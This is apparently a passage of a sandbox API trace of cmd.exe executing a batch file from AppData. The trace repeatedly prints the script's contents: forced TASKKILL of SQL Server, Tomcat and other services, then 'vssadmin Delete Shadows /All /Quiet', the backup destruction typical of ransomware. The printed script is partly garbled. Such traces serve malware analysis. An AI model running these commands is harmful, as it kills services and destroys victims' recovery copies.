cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0085.758] CloseHandle (hObject=0x74) returned 1 [0085.758] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0086.472] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0086.472] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0086.473] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0086.473] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0086.473] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0086.473] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0086.473] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0086.473] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0086.473] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0086.473] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0086.473] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0086.473] SetConsoleInputExeNameW () returned 0x1 [0086.473] GetConsoleOutputCP () returned 0x1b5 [0086.473] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0086.473] SetThreadUILanguage (LangId=0x0) returned 0x409 [0086.474] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0086.474] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0086.474] _get_osfhandle (_FileHandle=3) returned 0x78 [0086.474] SetFilePointer (in: hFile=0x78, lDistanceToMove=604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x25c [0086.474] _get_osfhandle (_FileHandle=3) returned 0x78 [0086.474] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25c [0086.474] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x414, lpOverlapped=0x0) returned 1 [0086.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1044, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM mdm.exe /IM mdm.exe \nTASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1044 [0086.474] _get_osfhandle (_FileHandle=3) returned 0x78 [0086.474] GetFileType (hFile=0x78) returned 0x1 [0086.474] _get_osfhandle (_FileHandle=3) returned 0x78 [0086.474] SetFilePointer (in: hFile=0x78, lDistanceToMove=-1007, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x281 [0086.475] _tell (_FileHandle=3) returned 641 [0086.475] _close (_FileHandle=3) returned 0 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0086.475] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0086.476] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.476] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.476] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0086.476] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0086.476] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0086.478] CloseHandle (hObject=0x78) returned 1 [0086.478] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0086.969] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0086.970] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0086.970] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0086.970] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0086.970] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0086.970] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0086.970] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0086.970] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0086.970] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0086.970] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0086.970] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0086.970] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0086.970] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0086.970] SetConsoleInputExeNameW () returned 0x1 [0086.970] GetConsoleOutputCP () returned 0x1b5 [0086.971] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0086.971] SetThreadUILanguage (LangId=0x0) returned 0x409 [0086.971] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0086.971] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0086.971] _get_osfhandle (_FileHandle=3) returned 0x74 [0086.971] SetFilePointer (in: hFile=0x74, lDistanceToMove=641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x281 [0086.971] _get_osfhandle (_FileHandle=3) returned 0x74 [0086.971] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x281 [0086.971] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x3ef, lpOverlapped=0x0) returned 1 [0086.971] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=1007, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM MsDtsSrvr.exe /IM MsDtsSrvr.exe \nTASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 1007 [0086.971] _get_osfhandle (_FileHandle=3) returned 0x74 [0086.971] GetFileType (hFile=0x74) returned 0x1 [0086.971] _get_osfhandle (_FileHandle=3) returned 0x74 [0086.971] SetFilePointer (in: hFile=0x74, lDistanceToMove=-958, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b2 [0086.971] _tell (_FileHandle=3) returned 690 [0086.971] _close (_FileHandle=3) returned 0 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0086.971] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0086.972] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0086.972] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.972] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.973] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0086.973] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0086.973] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0086.975] CloseHandle (hObject=0x74) returned 1 [0086.975] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0086.975] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0086.975] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0087.427] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0087.427] CloseHandle (hObject=0x78) returned 1 [0087.427] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0087.427] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0087.428] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0087.428] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0087.428] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0087.428] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0087.428] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0087.428] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0087.428] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0087.428] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0087.428] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0087.428] SetConsoleInputExeNameW () returned 0x1 [0087.428] GetConsoleOutputCP () returned 0x1b5 [0087.428] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0087.428] SetThreadUILanguage (LangId=0x0) returned 0x409 [0087.428] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0087.428] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0087.428] _get_osfhandle (_FileHandle=3) returned 0x78 [0087.428] SetFilePointer (in: hFile=0x78, lDistanceToMove=690, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b2 [0087.429] _get_osfhandle (_FileHandle=3) returned 0x78 [0087.429] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b2 [0087.429] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x3be, lpOverlapped=0x0) returned 1 [0087.429] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=958, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe \nTASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 958 [0087.429] _get_osfhandle (_FileHandle=3) returned 0x78 [0087.429] GetFileType (hFile=0x78) returned 0x1 [0087.429] _get_osfhandle (_FileHandle=3) returned 0x78 [0087.429] SetFilePointer (in: hFile=0x78, lDistanceToMove=-913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2df [0087.429] _tell (_FileHandle=3) returned 735 [0087.429] _close (_FileHandle=3) returned 0 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0087.429] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0087.430] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 